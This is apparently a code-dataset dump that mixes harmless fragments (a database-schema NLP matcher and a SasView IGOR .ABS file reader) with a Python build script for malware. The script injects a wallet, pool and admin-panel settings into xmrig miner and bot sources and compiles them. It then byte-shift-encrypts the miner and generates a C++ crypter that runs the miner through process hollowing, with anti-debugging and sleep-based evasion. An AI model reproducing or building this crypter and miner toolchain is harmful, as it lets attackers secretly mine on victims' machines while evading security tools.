cursor.execute(self.config.get_columns_sql_query())\n current_entity = None\n current_entity_name = ''\n for row in cursor:\n if current_entity_name != row.table_name:\n current_entity_name = row.table_name\n current_entity = next(en for en in self.entities if en.name ==\n current_entity_name)\n col_type = row.type_name\n if col_type == 'varchar' or col_type == 'nvarchar':\n col_type = 'string'\n current_entity.columns.append(Columns(row.column_name, col_type))\n current_entity = None\n current_entity_name = ''\n cursor.execute(self.config.get_FK_sql_query())\n for row in cursor:\n self.relationships.append(Relationship(row.parent_table, row.\n refrenced_table, row.parent_table_col, row.\n referenced_table_col))\n if len([en for en in self.entity_graph if en[0] == row.\n parent_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[\n 0] == row.parent_table)\n current_entity[1].append(row.refrenced_table)\n else:\n self.entity_graph.append((row.parent_table, [row.\n refrenced_table]))\n if len([en for en in self.entity_graph if en[0] == row.\n refrenced_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[\n 0] == row.refrenced_table)\n current_entity[1].append(row.parent_table)\n else:\n self.entity_graph.append((row.refrenced_table, [row.\n parent_table]))\n current_entity = None\n current_entity_name = ''\n cursor.execute(self.config.get_PK_sql_query())\n for row in cursor:\n if len([en for en in self.entity_graph if en[0] == row.table_name]\n ) == 1:\n current_entity = next(en for en in self.entities if en.name ==\n row.table_name)\n current_entity.primaryKey = row.primary_key\n for entity_to_load in self.config.get_entitites_to_load():\n entity_load_query = 'select distinct ' + entity_to_load['column'\n ] + ' from ' + entity_to_load['entity']\n cursor.execute(entity_load_query)\n entity_data = entity_to_load['entity'], []\n for row in cursor:\n entity_data[1].append(row[0])\n lemmas = self.lemmatizer(str(row[0]), u'NOUN')\n for lemma in lemmas:\n entity_data[1].append(str(lemma))\n self.loaded_entities.append(entity_data)\n for table_synonym in self.config.get_synonyms()['table']:\n orginal_val = table_synonym['original']\n synonyms_vals = table_synonym['synonyms']\n for synonyms_val in synonyms_vals:\n self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val))\n for column_synonym in self.config.get_synonyms()['column']:\n orginal_val = column_synonym['original']\n synonyms_vals = column_synonym['synonyms']\n for synonyms_val in synonyms_vals:\n self.synonyms_col.append(Synonyms(orginal_val, synonyms_val))\n self.columns = [column for entity in self.entities for column in\n entity.columns]\n\n def get_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(entity.\n name.lower()))\n for column in entity.columns:\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n column.name.lower()))\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(\n synonym.synonym.lower()))\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n synonym.synonym.lower()))\n return matcher\n <function token>\n", "<import token>\n\n\nclass DBModel(object):\n <function token>\n <function token>\n\n def get_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(entity.\n name.lower()))\n for column in entity.columns:\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n column.name.lower()))\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(\n synonym.synonym.lower()))\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n synonym.synonym.lower()))\n return matcher\n <function token>\n", "<import token>\n\n\nclass DBModel(object):\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n<class token>\n" ]
false
9,937
3cdb39e201983e672f6c22c25492a120be3d0d48
""" """ ##################################################################### #This software was developed by the University of Tennessee as part of the #Distributed Data Analysis of Neutron Scattering Experiments (DANSE) #project funded by the US National Science Foundation. #See the license text in license.txt #copyright 2008, University of Tennessee ###################################################################### import numpy as np import os from sas.sascalc.dataloader.data_info import Data1D from sas.sascalc.dataloader.data_info import Detector has_converter = True try: from sas.sascalc.data_util.nxsunit import Converter except: has_converter = False class Reader: """ Class to load IGOR reduced .ABS files """ ## File type type_name = "IGOR 1D" ## Wildcards type = ["IGOR 1D files (*.abs)|*.abs"] ## List of allowed extensions ext = ['.abs', '.ABS'] def read(self, path): """ Load data file. :param path: file path :return: Data1D object, or None :raise RuntimeError: when the file can't be opened :raise ValueError: when the length of the data vectors are inconsistent """ if os.path.isfile(path): basename = os.path.basename(path) root, extension = os.path.splitext(basename) if extension.lower() in self.ext: try: input_f = open(path,'r') except: raise RuntimeError, "abs_reader: cannot open %s" % path buff = input_f.read() lines = buff.split('\n') x = np.zeros(0) y = np.zeros(0) dy = np.zeros(0) dx = np.zeros(0) output = Data1D(x, y, dy=dy, dx=dx) detector = Detector() output.detector.append(detector) output.filename = basename is_info = False is_center = False is_data_started = False data_conv_q = None data_conv_i = None if has_converter == True and output.x_unit != '1/A': data_conv_q = Converter('1/A') # Test it data_conv_q(1.0, output.x_unit) if has_converter == True and output.y_unit != '1/cm': data_conv_i = Converter('1/cm') # Test it data_conv_i(1.0, output.y_unit) for line in lines: # Information line 1 if is_info == True: is_info = False line_toks = line.split() # Wavelength in Angstrom try: value = float(line_toks[1]) if has_converter == True and \ output.source.wavelength_unit != 'A': conv = Converter('A') output.source.wavelength = conv(value, units=output.source.wavelength_unit) else: output.source.wavelength = value except: #goes to ASC reader msg = "abs_reader: cannot open %s" % path raise RuntimeError, msg # Distance in meters try: value = float(line_toks[3]) if has_converter == True and \ detector.distance_unit != 'm': conv = Converter('m') detector.distance = conv(value, units=detector.distance_unit) else: detector.distance = value except: #goes to ASC reader msg = "abs_reader: cannot open %s" % path raise RuntimeError, msg # Transmission try: output.sample.transmission = float(line_toks[4]) except: # Transmission is not a mandatory entry pass # Thickness in mm try: value = float(line_toks[5]) if has_converter == True and \ output.sample.thickness_unit != 'cm': conv = Converter('cm') output.sample.thickness = conv(value, units=output.sample.thickness_unit) else: output.sample.thickness = value except: # Thickness is not a mandatory entry pass #MON CNT LAMBDA DET ANG DET DIST TRANS THICK # AVE STEP if line.count("LAMBDA") > 0: is_info = True # Find center info line if is_center == True: is_center = False line_toks = line.split() # Center in bin number center_x = float(line_toks[0]) center_y = float(line_toks[1]) # Bin size if has_converter == True and \ detector.pixel_size_unit != 'mm': conv = Converter('mm') detector.pixel_size.x = conv(5.0, units=detector.pixel_size_unit) detector.pixel_size.y = conv(5.0, units=detector.pixel_size_unit) else: detector.pixel_size.x = 5.0 detector.pixel_size.y = 5.0 # Store beam center in distance units # Det 640 x 640 mm if has_converter == True and \ detector.beam_center_unit != 'mm': conv = Converter('mm') detector.beam_center.x = conv(center_x * 5.0, units=detector.beam_center_unit) detector.beam_center.y = conv(center_y * 5.0, units=detector.beam_center_unit) else: detector.beam_center.x = center_x * 5.0 detector.beam_center.y = center_y * 5.0 # Detector type try: detector.name = line_toks[7] except: # Detector name is not a mandatory entry pass #BCENT(X,Y) A1(mm) A2(mm) A1A2DIST(m) DL/L # BSTOP(mm) DET_TYP if line.count("BCENT") > 0: is_center = True # Parse the data if is_data_started == True: toks = line.split() try: _x = float(toks[0]) _y = float(toks[1]) _dy = float(toks[2]) _dx = float(toks[3]) if data_conv_q is not None: _x = data_conv_q(_x, units=output.x_unit) _dx = data_conv_i(_dx, units=output.x_unit) if data_conv_i is not None: _y = data_conv_i(_y, units=output.y_unit) _dy = data_conv_i(_dy, units=output.y_unit) x = np.append(x, _x) y = np.append(y, _y) dy = np.append(dy, _dy) dx = np.append(dx, _dx) except: # Could not read this data line. If we are here # it is because we are in the data section. Just # skip it. pass #The 6 columns are | Q (1/A) | I(Q) (1/cm) | std. dev. # I(Q) (1/cm) | sigmaQ | meanQ | ShadowFactor| if line.count("The 6 columns") > 0: is_data_started = True # Sanity check if not len(y) == len(dy): msg = "abs_reader: y and dy have different length" raise ValueError, msg # If the data length is zero, consider this as # though we were not able to read the file. if len(x) == 0: raise ValueError, "ascii_reader: could not load file" output.x = x[x != 0] output.y = y[x != 0] output.dy = dy[x != 0] output.dx = dx[x != 0] if data_conv_q is not None: output.xaxis("\\rm{Q}", output.x_unit) else: output.xaxis("\\rm{Q}", 'A^{-1}') if data_conv_i is not None: output.yaxis("\\rm{Intensity}", output.y_unit) else: output.yaxis("\\rm{Intensity}", "cm^{-1}") # Store loading process information output.meta_data['loader'] = self.type_name return output else: raise RuntimeError, "%s is not a file" % path return None
[ "\"\"\"\n\"\"\"\n#####################################################################\n#This software was developed by the University of Tennessee as part of the\n#Distributed Data Analysis of Neutron Scattering Experiments (DANSE)\n#project funded by the US National Science Foundation.\n#See the license text in license.txt\n#copyright 2008, University of Tennessee\n######################################################################\n\nimport numpy as np\nimport os\nfrom sas.sascalc.dataloader.data_info import Data1D\nfrom sas.sascalc.dataloader.data_info import Detector\n\nhas_converter = True\ntry:\n from sas.sascalc.data_util.nxsunit import Converter\nexcept:\n has_converter = False\n \n \nclass Reader:\n \"\"\"\n Class to load IGOR reduced .ABS files\n \"\"\"\n ## File type\n type_name = \"IGOR 1D\"\n ## Wildcards\n type = [\"IGOR 1D files (*.abs)|*.abs\"]\n ## List of allowed extensions\n ext = ['.abs', '.ABS']\n \n def read(self, path):\n \"\"\" \n Load data file.\n \n :param path: file path\n \n :return: Data1D object, or None\n \n :raise RuntimeError: when the file can't be opened\n :raise ValueError: when the length of the data vectors are inconsistent\n \"\"\"\n if os.path.isfile(path):\n basename = os.path.basename(path)\n root, extension = os.path.splitext(basename)\n if extension.lower() in self.ext:\n try:\n input_f = open(path,'r')\n except:\n raise RuntimeError, \"abs_reader: cannot open %s\" % path\n buff = input_f.read()\n lines = buff.split('\\n')\n x = np.zeros(0)\n y = np.zeros(0)\n dy = np.zeros(0)\n dx = np.zeros(0)\n output = Data1D(x, y, dy=dy, dx=dx)\n detector = Detector()\n output.detector.append(detector)\n output.filename = basename\n \n is_info = False\n is_center = False\n is_data_started = False\n \n data_conv_q = None\n data_conv_i = None\n \n if has_converter == True and output.x_unit != '1/A':\n data_conv_q = Converter('1/A')\n # Test it\n data_conv_q(1.0, output.x_unit)\n \n if has_converter == True and output.y_unit != '1/cm':\n data_conv_i = Converter('1/cm')\n # Test it\n data_conv_i(1.0, output.y_unit)\n \n for line in lines:\n \n # Information line 1\n if is_info == True:\n is_info = False\n line_toks = line.split()\n \n # Wavelength in Angstrom\n try:\n value = float(line_toks[1])\n if has_converter == True and \\\n output.source.wavelength_unit != 'A':\n conv = Converter('A')\n output.source.wavelength = conv(value,\n units=output.source.wavelength_unit)\n else:\n output.source.wavelength = value\n except:\n #goes to ASC reader\n msg = \"abs_reader: cannot open %s\" % path\n raise RuntimeError, msg\n \n # Distance in meters\n try:\n value = float(line_toks[3])\n if has_converter == True and \\\n detector.distance_unit != 'm':\n conv = Converter('m')\n detector.distance = conv(value,\n units=detector.distance_unit)\n else:\n detector.distance = value\n except:\n #goes to ASC reader\n msg = \"abs_reader: cannot open %s\" % path\n raise RuntimeError, msg\n # Transmission\n try:\n output.sample.transmission = float(line_toks[4])\n except:\n # Transmission is not a mandatory entry\n pass\n \n # Thickness in mm\n try:\n value = float(line_toks[5])\n if has_converter == True and \\\n output.sample.thickness_unit != 'cm':\n conv = Converter('cm')\n output.sample.thickness = conv(value,\n units=output.sample.thickness_unit)\n else:\n output.sample.thickness = value\n except:\n # Thickness is not a mandatory entry\n pass\n \n #MON CNT LAMBDA DET ANG DET DIST TRANS THICK \n # AVE STEP\n if line.count(\"LAMBDA\") > 0:\n is_info = True\n \n # Find center info line\n if is_center == True:\n is_center = False\n line_toks = line.split()\n # Center in bin number\n center_x = float(line_toks[0])\n center_y = float(line_toks[1])\n \n # Bin size\n if has_converter == True and \\\n detector.pixel_size_unit != 'mm':\n conv = Converter('mm')\n detector.pixel_size.x = conv(5.0,\n units=detector.pixel_size_unit)\n detector.pixel_size.y = conv(5.0,\n units=detector.pixel_size_unit)\n else:\n detector.pixel_size.x = 5.0\n detector.pixel_size.y = 5.0\n \n # Store beam center in distance units\n # Det 640 x 640 mm\n if has_converter == True and \\\n detector.beam_center_unit != 'mm':\n conv = Converter('mm')\n detector.beam_center.x = conv(center_x * 5.0,\n units=detector.beam_center_unit)\n detector.beam_center.y = conv(center_y * 5.0,\n units=detector.beam_center_unit)\n else:\n detector.beam_center.x = center_x * 5.0\n detector.beam_center.y = center_y * 5.0\n \n # Detector type\n try:\n detector.name = line_toks[7]\n except:\n # Detector name is not a mandatory entry\n pass\n \n #BCENT(X,Y) A1(mm) A2(mm) A1A2DIST(m) DL/L\n # BSTOP(mm) DET_TYP\n if line.count(\"BCENT\") > 0:\n is_center = True\n \n # Parse the data\n if is_data_started == True:\n toks = line.split()\n\n try:\n _x = float(toks[0])\n _y = float(toks[1])\n _dy = float(toks[2])\n _dx = float(toks[3])\n \n if data_conv_q is not None:\n _x = data_conv_q(_x, units=output.x_unit)\n _dx = data_conv_i(_dx, units=output.x_unit)\n \n if data_conv_i is not None:\n _y = data_conv_i(_y, units=output.y_unit)\n _dy = data_conv_i(_dy, units=output.y_unit)\n \n x = np.append(x, _x)\n y = np.append(y, _y)\n dy = np.append(dy, _dy)\n dx = np.append(dx, _dx)\n \n except:\n # Could not read this data line. If we are here\n # it is because we are in the data section. Just\n # skip it.\n pass\n \n #The 6 columns are | Q (1/A) | I(Q) (1/cm) | std. dev.\n # I(Q) (1/cm) | sigmaQ | meanQ | ShadowFactor|\n if line.count(\"The 6 columns\") > 0:\n is_data_started = True\n \n # Sanity check\n if not len(y) == len(dy):\n msg = \"abs_reader: y and dy have different length\"\n raise ValueError, msg\n # If the data length is zero, consider this as\n # though we were not able to read the file.\n if len(x) == 0:\n raise ValueError, \"ascii_reader: could not load file\"\n \n output.x = x[x != 0]\n output.y = y[x != 0]\n output.dy = dy[x != 0]\n output.dx = dx[x != 0]\n if data_conv_q is not None:\n output.xaxis(\"\\\\rm{Q}\", output.x_unit)\n else:\n output.xaxis(\"\\\\rm{Q}\", 'A^{-1}')\n if data_conv_i is not None:\n output.yaxis(\"\\\\rm{Intensity}\", output.y_unit)\n else:\n output.yaxis(\"\\\\rm{Intensity}\", \"cm^{-1}\")\n \n # Store loading process information\n output.meta_data['loader'] = self.type_name\n return output\n else:\n raise RuntimeError, \"%s is not a file\" % path\n return None\n" ]
true
9,938
d1254e558217cce88de2f83b87d5c54333f1c677
import os, sys, time, random, subprocess def load_userdata(wallet, pool, ww, logger, adminka): with open("D:\\msys64\\xmrig-master\\src\\ex.cpp", "r") as f: file = f.read() file = file.replace("%u%", wallet) file = file.replace("%p%", pool) file = file.replace("%w%", ww) with open("D:\\msys64\\xmrig-master\\src\\xmrig.cpp", "w") as w: w.write(file) with open(os.getcwd()+"\\Bot\\Miner\\ex.cs", "r") as f: file = f.read() file = file.replace("%l%", logger) file = file.replace("%a%", adminka) with open(os.getcwd()+"\\Bot\\Miner\\Program.cs", "w") as w: w.write(file) def writeBytes(key): with open(os.getcwd()+"\\file.txt", "r") as f: file = f.read() with open(os.getcwd()+"\\Miner\\CryptRunPe\\winhost.cpp", "w") as w: w.write("#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n") with open("ex.txt") as ex: w.write(file) exx = ex.read() w.write(exx) def compile(path, file): os.system("%windir%\Microsoft.NET\Framework\\v4.0.30319\msbuild.exe \""+path+file+".sln\" /p:Configuration=Release") def compileM(path, file): os.system("msbuild.exe \""+path+file+".sln\" /p:Configuration=Release") def compileR(path, file): os.system("msbuild.exe \""+path+file+".sln\" /p:Configuration=Release /p:Platform=\"WIN32\"") def xcopy(path, out): try: with open(path, "rb") as f: file = f.read() with open(out, "wb") as w: w.write(bytearray(file)) except: pass def crypt(name, key): with open('encoder.cpp', 'w') as w: txt = '\n\ #include <Windows.h>\n\ #include <winternl.h>\n\ #include <iostream>\n\ #include <string>\n\ #include <fstream>\n\ using namespace std;\n\ int main()\n\ {\n\ FILE * file = fopen("in.exe", "rb");\n\ if (file == NULL) return 0;\n\ fseek(file, 0, SEEK_END);\n\ long int size = ftell(file);\n\ fclose(file);\n\ file = fopen("in.exe", "rb");\n\ unsigned char * in = (unsigned char *)malloc(size);\n\ int bytes_read = fread(in, sizeof(unsigned char), size, file);\n\ fclose(file);\n\ for (int i = 0; i < size; i++) {\n\ in[i] = in[i] - 0x0%n%;\n\ }\n\ file = fopen("out.exe", "wb");\n\ int bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n\ fclose(file);\n\ for (int i = 0; i < size; i++) {\n\ in[i] = in[i] + 0x0%n%;\n\ }\n\ file = fopen("decr.exe", "wb");\n\ bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n\ fclose(file);\n\ return 0;\n\ }\n\ ' txt = txt.replace("%n%", str(key)) w.write(txt) os.system("g++ -o enc encoder.cpp") os.system("C:\Python27\python.exe cv.py") with open('file.txt', 'r') as r: with open(os.getcwd()+"\\src\\crypter\\crypter.cpp", "w") as w: txt = '\ #include "stdafx.h"\n\ #include "Crypter.h"\n\ #include <windows.h>\n\ #include <winternl.h>\n\ #pragma comment(lib,"ws2_32.lib")\n\ #pragma comment(lib,"ntdll.lib")\n\ '+ r.read() + '\ int RunPortableExecutable(void* Image) {\n\ IMAGE_DOS_HEADER* DOSHeader;\n\ IMAGE_NT_HEADERS* NtHeader;\n\ IMAGE_SECTION_HEADER* SectionHeader;\n\ PROCESS_INFORMATION PI;\n\ STARTUPINFOA SI;\n\ CONTEXT* CTX;\n\ DWORD* ImageBase;\n\ void* pImageBase;\n\ int count;\n\ char buffer[MAX_PATH];\n\ GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);\n\ char *CurrentFilePath = buffer;\n\ DOSHeader = PIMAGE_DOS_HEADER(Image);\n\ NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);\n\ if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {\n\ ZeroMemory(&PI, sizeof(PI));\n\ ZeroMemory(&SI, sizeof(SI));\n\ typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);\n\ NtUnmapViewOfSection mNtUnmapViewOfSection;\n\ if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {\n\ CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));\n\ CTX->ContextFlags = CONTEXT_FULL;\n\ if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {\n\ ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);\n\ pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),\n\ NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);\n\ WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);\n\ for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {\n\ SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));\n\ WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),\n\ LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);\n\ }\n\ WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);\n\ CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;\n\ SetThreadContext(PI.hThread, LPCONTEXT(CTX));\n\ ResumeThread(PI.hThread);\n\ return 0;\n\ }\n\ }\n\ }\n\ }\n\ int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {\n\ for (int i = 0; i < 550000; i++)\n\ OutputDebugStringW(L"");\n\ for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {\n\ unsigned char b = rawData[i] + 0x0%n%;\n\ rawData[i] = b;\n\ }\n\ Sleep(((rand() % 5 + 1) + 5) * 1000);\n\ RunPortableExecutable(rawData);\n\ return 0;\n\ }\ ' txt = txt.replace("%n%", str(key)) w.write(txt) compileM(os.getcwd()+"\\src\\", "ConsoleApplication1") xcopy(os.getcwd() + "\\src\\Release\\Crypter.exe", os.getcwd()+"\\"+name+".exe") key = random.randint(1, 100) u = sys.argv[1] w = sys.argv[2] p = sys.argv[3] l = sys.argv[4] a = sys.argv[5] load_userdata(u, p, w, l, a) compile(os.getcwd()+"\\Bot\\", "LoaderBot") xcopy(os.getcwd()+"\\Bot\\Miner\\bin\\Release\\LoaderBot.exe", "Bot.exe") compileR(os.getcwd()+"\\rig\\", "xmrig") xcopy(os.getcwd()+"\\rig\\Release\\xmrig.exe", "out.exe") crypt("test", key) os.system("C:\Python27\python.exe cv.py") writeBytes(key) compileM(os.getcwd()+"\\Miner\\", "winhost") xcopy(os.getcwd()+"\\Miner\\Release\\winhost.exe", "in.exe") print(os.getcwd()+"\\enc.exe") subprocess.call(os.getcwd()+"\\enc.exe") crypt("winhost", key) os.system("del file.txt") os.system("del in.exe") os.system("del out.exe") os.system("del decr.exe") os.system("del enc.exe") os.system("del test.exe")
[ "import os, sys, time, random, subprocess\n\n\ndef load_userdata(wallet, pool, ww, logger, adminka):\n with open(\"D:\\\\msys64\\\\xmrig-master\\\\src\\\\ex.cpp\", \"r\") as f:\n file = f.read()\n file = file.replace(\"%u%\", wallet)\n file = file.replace(\"%p%\", pool)\n file = file.replace(\"%w%\", ww)\n with open(\"D:\\\\msys64\\\\xmrig-master\\\\src\\\\xmrig.cpp\", \"w\") as w:\n w.write(file)\n with open(os.getcwd()+\"\\\\Bot\\\\Miner\\\\ex.cs\", \"r\") as f:\n file = f.read()\n file = file.replace(\"%l%\", logger)\n file = file.replace(\"%a%\", adminka)\n with open(os.getcwd()+\"\\\\Bot\\\\Miner\\\\Program.cs\", \"w\") as w:\n w.write(file)\n\ndef writeBytes(key):\n with open(os.getcwd()+\"\\\\file.txt\", \"r\") as f:\n file = f.read()\n with open(os.getcwd()+\"\\\\Miner\\\\CryptRunPe\\\\winhost.cpp\", \"w\") as w:\n w.write(\"#include <stdafx.h>\\n#include \\\"process.h\\\"\\n #include \\\"memrun.h\\\"\\nusing namespace std;\\n\")\n with open(\"ex.txt\") as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\ndef compile(path, file):\n os.system(\"%windir%\\Microsoft.NET\\Framework\\\\v4.0.30319\\msbuild.exe \\\"\"+path+file+\".sln\\\" /p:Configuration=Release\")\n\t\ndef compileM(path, file):\n os.system(\"msbuild.exe \\\"\"+path+file+\".sln\\\" /p:Configuration=Release\")\n\ndef compileR(path, file):\n os.system(\"msbuild.exe \\\"\"+path+file+\".sln\\\" /p:Configuration=Release /p:Platform=\\\"WIN32\\\"\")\ndef xcopy(path, out):\n try:\n with open(path, \"rb\") as f:\n file = f.read()\n with open(out, \"wb\") as w:\n w.write(bytearray(file))\n except:\n pass\n\n\ndef crypt(name, key):\n with open('encoder.cpp', 'w') as w:\n txt = '\\n\\\n #include <Windows.h>\\n\\\n #include <winternl.h>\\n\\\n #include <iostream>\\n\\\n #include <string>\\n\\\n #include <fstream>\\n\\\n using namespace std;\\n\\\n int main()\\n\\\n {\\n\\\n FILE * file = fopen(\"in.exe\", \"rb\");\\n\\\n if (file == NULL) return 0;\\n\\\n fseek(file, 0, SEEK_END);\\n\\\n long int size = ftell(file);\\n\\\n fclose(file);\\n\\\n file = fopen(\"in.exe\", \"rb\");\\n\\\n unsigned char * in = (unsigned char *)malloc(size);\\n\\\n int bytes_read = fread(in, sizeof(unsigned char), size, file);\\n\\\n fclose(file);\\n\\\n for (int i = 0; i < size; i++) {\\n\\\n in[i] = in[i] - 0x0%n%;\\n\\\n }\\n\\\n file = fopen(\"out.exe\", \"wb\");\\n\\\n int bytes_written = fwrite(in, sizeof(unsigned char), size, file);\\n\\\n fclose(file);\\n\\\n for (int i = 0; i < size; i++) {\\n\\\n in[i] = in[i] + 0x0%n%;\\n\\\n }\\n\\\n file = fopen(\"decr.exe\", \"wb\");\\n\\\n bytes_written = fwrite(in, sizeof(unsigned char), size, file);\\n\\\n fclose(file);\\n\\\n return 0;\\n\\\n }\\n\\\n '\n txt = txt.replace(\"%n%\", str(key))\n w.write(txt)\n os.system(\"g++ -o enc encoder.cpp\")\n os.system(\"C:\\Python27\\python.exe cv.py\")\n with open('file.txt', 'r') as r:\n with open(os.getcwd()+\"\\\\src\\\\crypter\\\\crypter.cpp\", \"w\") as w:\n txt = '\\\n #include \"stdafx.h\"\\n\\\n #include \"Crypter.h\"\\n\\\n #include <windows.h>\\n\\\n #include <winternl.h>\\n\\\n #pragma comment(lib,\"ws2_32.lib\")\\n\\\n #pragma comment(lib,\"ntdll.lib\")\\n\\\n '+ r.read() + '\\\n int RunPortableExecutable(void* Image) {\\n\\\n IMAGE_DOS_HEADER* DOSHeader;\\n\\\n IMAGE_NT_HEADERS* NtHeader;\\n\\\n IMAGE_SECTION_HEADER* SectionHeader;\\n\\\n PROCESS_INFORMATION PI;\\n\\\n STARTUPINFOA SI;\\n\\\n CONTEXT* CTX;\\n\\\n DWORD* ImageBase;\\n\\\n void* pImageBase;\\n\\\n int count;\\n\\\n char buffer[MAX_PATH];\\n\\\n GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);\\n\\\n char *CurrentFilePath = buffer;\\n\\\n DOSHeader = PIMAGE_DOS_HEADER(Image);\\n\\\n NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);\\n\\\n if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {\\n\\\n ZeroMemory(&PI, sizeof(PI));\\n\\\n ZeroMemory(&SI, sizeof(SI));\\n\\\n typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);\\n\\\n NtUnmapViewOfSection mNtUnmapViewOfSection;\\n\\\n if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {\\n\\\n CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));\\n\\\n CTX->ContextFlags = CONTEXT_FULL;\\n\\\n if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {\\n\\\n ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);\\n\\\n pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),\\n\\\n NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);\\n\\\n WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);\\n\\\n for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {\\n\\\n SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));\\n\\\n WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),\\n\\\n LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);\\n\\\n }\\n\\\n WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);\\n\\\n CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;\\n\\\n SetThreadContext(PI.hThread, LPCONTEXT(CTX));\\n\\\n ResumeThread(PI.hThread);\\n\\\n return 0;\\n\\\n }\\n\\\n }\\n\\\n }\\n\\\n }\\n\\\n int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {\\n\\\n for (int i = 0; i < 550000; i++)\\n\\\n OutputDebugStringW(L\"\");\\n\\\n for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {\\n\\\n unsigned char b = rawData[i] + 0x0%n%;\\n\\\n rawData[i] = b;\\n\\\n }\\n\\\n Sleep(((rand() % 5 + 1) + 5) * 1000);\\n\\\n RunPortableExecutable(rawData);\\n\\\n return 0;\\n\\\n }\\\n '\n txt = txt.replace(\"%n%\", str(key))\n w.write(txt)\n compileM(os.getcwd()+\"\\\\src\\\\\", \"ConsoleApplication1\")\n xcopy(os.getcwd() + \"\\\\src\\\\Release\\\\Crypter.exe\", os.getcwd()+\"\\\\\"+name+\".exe\")\n\nkey = random.randint(1, 100)\nu = sys.argv[1]\nw = sys.argv[2]\np = sys.argv[3]\nl = sys.argv[4]\na = sys.argv[5]\n\n\n\nload_userdata(u, p, w, l, a)\ncompile(os.getcwd()+\"\\\\Bot\\\\\", \"LoaderBot\")\nxcopy(os.getcwd()+\"\\\\Bot\\\\Miner\\\\bin\\\\Release\\\\LoaderBot.exe\", \"Bot.exe\")\ncompileR(os.getcwd()+\"\\\\rig\\\\\", \"xmrig\")\nxcopy(os.getcwd()+\"\\\\rig\\\\Release\\\\xmrig.exe\", \"out.exe\")\ncrypt(\"test\", key)\nos.system(\"C:\\Python27\\python.exe cv.py\")\nwriteBytes(key)\ncompileM(os.getcwd()+\"\\\\Miner\\\\\", 